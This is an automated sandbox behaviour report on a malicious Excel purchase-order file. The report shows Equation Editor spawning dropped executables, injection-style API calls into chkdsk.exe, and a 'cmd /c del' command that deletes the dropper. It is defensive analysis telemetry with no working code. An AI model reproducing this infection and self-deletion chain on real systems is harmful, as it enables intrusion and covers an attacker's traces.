Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F2B3F1	5_2_00F2B3F1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F2C3BD	5_2_00F2C3BD
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F2A184	5_2_00F2A184
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00160A2C	5_2_00160A2C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0040102F	6_2_0040102F
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00401030	6_2_00401030
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041D8FD	6_2_0041D8FD
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041E99C	6_2_0041E99C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0040927B	6_2_0040927B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041DAD0	6_2_0041DAD0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00409280	6_2_00409280
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0040DC20	6_2_0040DC20
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041EDF4	6_2_0041EDF4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00402D88	6_2_00402D88
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00402D90	6_2_00402D90
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041DEEC	6_2_0041DEEC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041E73A	6_2_0041E73A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00402FB0	6_2_00402FB0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F21890	6_2_00F21890
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F2A184	6_2_00F2A184
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F2B3F1	6_2_00F2B3F1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F2C3BD	6_2_00F2C3BD
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F29C12	6_2_00F29C12
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F296A0	6_2_00F296A0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F27E88	6_2_00F27E88
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009AE0C6	6_2_009AE0C6
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009DD005	6_2_009DD005
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009C905A	6_2_009C905A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A2D06D	6_2_00A2D06D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B3040	6_2_009B3040
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009AE2E9	6_2_009AE2E9
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A51238	6_2_00A51238
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A563BF	6_2_00A563BF
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009D63DB	6_2_009D63DB
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009AF3CF	6_2_009AF3CF
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B2305	6_2_009B2305
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B7353	6_2_009B7353
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009FA37B	6_2_009FA37B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009C1489	6_2_009C1489
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009E5485	6_2_009E5485
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A3443E	6_2_00A3443E
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009ED47D	6_2_009ED47D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009CC5F0	6_2_009CC5F0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B351F	6_2_009B351F
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009F6540	6_2_009F6540
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B4680	6_2_009B4680
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009BE6C1	6_2_009BE6C1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A52622	6_2_00A52622
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009FA634	6_2_009FA634
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009BC7BC	6_2_009BC7BC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A3579A	6_2_00A3579A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009E57C3	6_2_009E57C3
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A4F8EE	6_2_00A4F8EE
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009BC85C	6_2_009BC85C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009D286D	6_2_009D286D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B29B2	6_2_009B29B2
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A5098E	6_2_00A5098E
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009C69FE	6_2_009C69FE
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A3394B	6_2_00A3394B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A35955	6_2_00A35955
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A63A83	6_2_00A63A83
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A5CBA4	6_2_00A5CBA4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00A3DBDA	6_2_00A3DBDA
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009D7B00	6_2_009D7B00
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02441238	8_2_02441238
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0239E2E9	8_2_0239E2E9
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A2305	8_2_023A2305
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023EA37B	8_2_023EA37B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A7353	8_2_023A7353
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023C63DB	8_2_023C63DB
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0239F3CF	8_2_0239F3CF
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_024463BF	8_2_024463BF
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0241D06D	8_2_0241D06D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023CD005	8_2_023CD005
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023B905A	8_2_023B905A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A3040	8_2_023A3040
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0239E0C6	8_2_0239E0C6
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023EA634	8_2_023EA634
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02442622	8_2_02442622
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A4680	8_2_023A4680
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023AE6C1	8_2_023AE6C1
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023AC7BC	8_2_023AC7BC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242579A	8_2_0242579A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023D57C3	8_2_023D57C3
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023DD47D	8_2_023DD47D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242443E	8_2_0242443E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023B1489	8_2_023B1489
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023D5485	8_2_023D5485
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A351F	8_2_023A351F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023E6540	8_2_023E6540
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_024205E3	8_2_024205E3
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023BC5F0	8_2_023BC5F0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02453A83	8_2_02453A83
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023C7B00	8_2_023C7B00
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02426BCB	8_2_02426BCB
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242DBDA	8_2_0242DBDA
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0244CBA4	8_2_0244CBA4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023C286D	8_2_023C286D
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023AC85C	8_2_023AC85C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0241F8C4	8_2_0241F8C4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0243F8EE	8_2_0243F8EE
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242394B	8_2_0242394B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02425955	8_2_02425955
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A29B2	8_2_023A29B2
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023B69FE	8_2_023B69FE
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0244098E	8_2_0244098E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023D2E2F	8_2_023D2E2F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023BEE4C	8_2_023BEE4C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023B0F3F	8_2_023B0F3F
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023CDF7C	8_2_023CDF7C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242BF14	8_2_0242BF14
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02412FDC	8_2_02412FDC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0243CFB1	8_2_0243CFB1
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0242AC5E	8_2_0242AC5E
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023D0D3B	8_2_023D0D3B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023ACD5B	8_2_023ACD5B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0243FDDD	8_2_0243FDDD
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0009927B	8_2_0009927B
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_00099280	8_2_00099280
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AE73A	8_2_000AE73A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AD8FD	8_2_000AD8FD
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AE99C	8_2_000AE99C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000ADAD0	8_2_000ADAD0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0009DC20	8_2_0009DC20
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_00092D88	8_2_00092D88
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_00092D90	8_2_00092D90
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AEDF4	8_2_000AEDF4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000ADEEC	8_2_000ADEEC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_00092FB0	8_2_00092FB0

Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0239E2A8 appears 58 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0240F970 appears 84 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 023E3F92 appears 132 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 023E373B appears 248 times
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: String function: 0239DF5C appears 124 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 009F373B appears 186 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 009ADF5C appears 94 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 00F24599 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 00F22400 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 009AE2A8 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 009F3F92 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: String function: 00A1F970 appears 66 times

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A310 NtCreateFile,	6_2_0041A310
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A3C0 NtReadFile,	6_2_0041A3C0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A440 NtClose,	6_2_0041A440
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A4F0 NtAllocateVirtualMemory,	6_2_0041A4F0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A30A NtCreateFile,	6_2_0041A30A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A43A NtClose,	6_2_0041A43A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041A4EA NtAllocateVirtualMemory,	6_2_0041A4EA
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A00C4 NtCreateFile,LdrInitializeThunk,	6_2_009A00C4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A0048 NtProtectVirtualMemory,LdrInitializeThunk,	6_2_009A0048
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A0078 NtResumeThread,LdrInitializeThunk,	6_2_009A0078
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A07AC NtCreateMutant,LdrInitializeThunk,	6_2_009A07AC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099F9F0 NtClose,LdrInitializeThunk,	6_2_0099F9F0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099F900 NtReadFile,LdrInitializeThunk,	6_2_0099F900
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_0099FAD0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FAE8 NtQueryInformationProcess,LdrInitializeThunk,	6_2_0099FAE8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FBB8 NtQueryInformationToken,LdrInitializeThunk,	6_2_0099FBB8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FB68 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_0099FB68
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FC90 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_0099FC90
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FC60 NtMapViewOfSection,LdrInitializeThunk,	6_2_0099FC60
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FD8C NtDelayExecution,LdrInitializeThunk,	6_2_0099FD8C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FDC0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_0099FDC0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FEA0 NtReadVirtualMemory,LdrInitializeThunk,	6_2_0099FEA0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	6_2_0099FED0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FFB4 NtCreateSection,LdrInitializeThunk,	6_2_0099FFB4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A10D0 NtOpenProcessToken,	6_2_009A10D0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A0060 NtQuerySection,	6_2_009A0060
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A01D4 NtSetValueKey,	6_2_009A01D4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A010C NtOpenDirectoryObject,	6_2_009A010C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A1148 NtOpenThread,	6_2_009A1148
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099F8CC NtWaitForSingleObject,	6_2_0099F8CC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099F938 NtWriteFile,	6_2_0099F938
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009A1930 NtSetContextThread,	6_2_009A1930
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FAB8 NtQueryValueKey,	6_2_0099FAB8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FA20 NtQueryInformationFile,	6_2_0099FA20
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FA50 NtEnumerateValueKey,	6_2_0099FA50
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FBE8 NtQueryVirtualMemory,	6_2_0099FBE8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0099FB50 NtCreateKey,	6_2_0099FB50
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023900C4 NtCreateFile,LdrInitializeThunk,	8_2_023900C4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023907AC NtCreateMutant,LdrInitializeThunk,	8_2_023907AC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FAB8 NtQueryValueKey,LdrInitializeThunk,	8_2_0238FAB8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FAE8 NtQueryInformationProcess,LdrInitializeThunk,	8_2_0238FAE8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	8_2_0238FAD0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FB68 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_0238FB68
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FB50 NtCreateKey,LdrInitializeThunk,	8_2_0238FB50
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FBB8 NtQueryInformationToken,LdrInitializeThunk,	8_2_0238FBB8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238F900 NtReadFile,LdrInitializeThunk,	8_2_0238F900
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238F9F0 NtClose,LdrInitializeThunk,	8_2_0238F9F0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	8_2_0238FED0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FFB4 NtCreateSection,LdrInitializeThunk,	8_2_0238FFB4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FC60 NtMapViewOfSection,LdrInitializeThunk,	8_2_0238FC60
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FD8C NtDelayExecution,LdrInitializeThunk,	8_2_0238FD8C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FDC0 NtQuerySystemInformation,LdrInitializeThunk,	8_2_0238FDC0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02390078 NtResumeThread,	8_2_02390078
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02390060 NtQuerySection,	8_2_02390060
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02390048 NtProtectVirtualMemory,	8_2_02390048
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023910D0 NtOpenProcessToken,	8_2_023910D0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0239010C NtOpenDirectoryObject,	8_2_0239010C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02391148 NtOpenThread,	8_2_02391148
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023901D4 NtSetValueKey,	8_2_023901D4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FA20 NtQueryInformationFile,	8_2_0238FA20
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FA50 NtEnumerateValueKey,	8_2_0238FA50
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FBE8 NtQueryVirtualMemory,	8_2_0238FBE8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238F8CC NtWaitForSingleObject,	8_2_0238F8CC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238F938 NtWriteFile,	8_2_0238F938
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02391930 NtSetContextThread,	8_2_02391930
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FE24 NtWriteVirtualMemory,	8_2_0238FE24
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FEA0 NtReadVirtualMemory,	8_2_0238FEA0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FF34 NtQueueApcThread,	8_2_0238FF34
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FFFC NtCreateProcessEx,	8_2_0238FFFC
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FC30 NtOpenProcess,	8_2_0238FC30
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FC48 NtSetInformationFile,	8_2_0238FC48
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02390C40 NtGetContextThread,	8_2_02390C40
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FC90 NtUnmapViewOfSection,	8_2_0238FC90
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0238FD5C NtEnumerateKey,	8_2_0238FD5C
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02391D80 NtSuspendThread,	8_2_02391D80
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA310 NtCreateFile,	8_2_000AA310
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA3C0 NtReadFile,	8_2_000AA3C0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA440 NtClose,	8_2_000AA440
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA4F0 NtAllocateVirtualMemory,	8_2_000AA4F0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA30A NtCreateFile,	8_2_000AA30A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA43A NtClose,	8_2_000AA43A
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AA4EA NtAllocateVirtualMemory,	8_2_000AA4EA

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior

Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx	Virustotal: Detection: 38%
Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx	ReversingLabs: Detection: 26%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\chkdsk.exe C:\Windows\SysWOW64\chkdsk.exe
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe"	Jump to behavior

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Users\Public\vbc.exe

4_2_00403646

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$BON DE COMMANDE POUR CHENOUFI AEK.xlsx

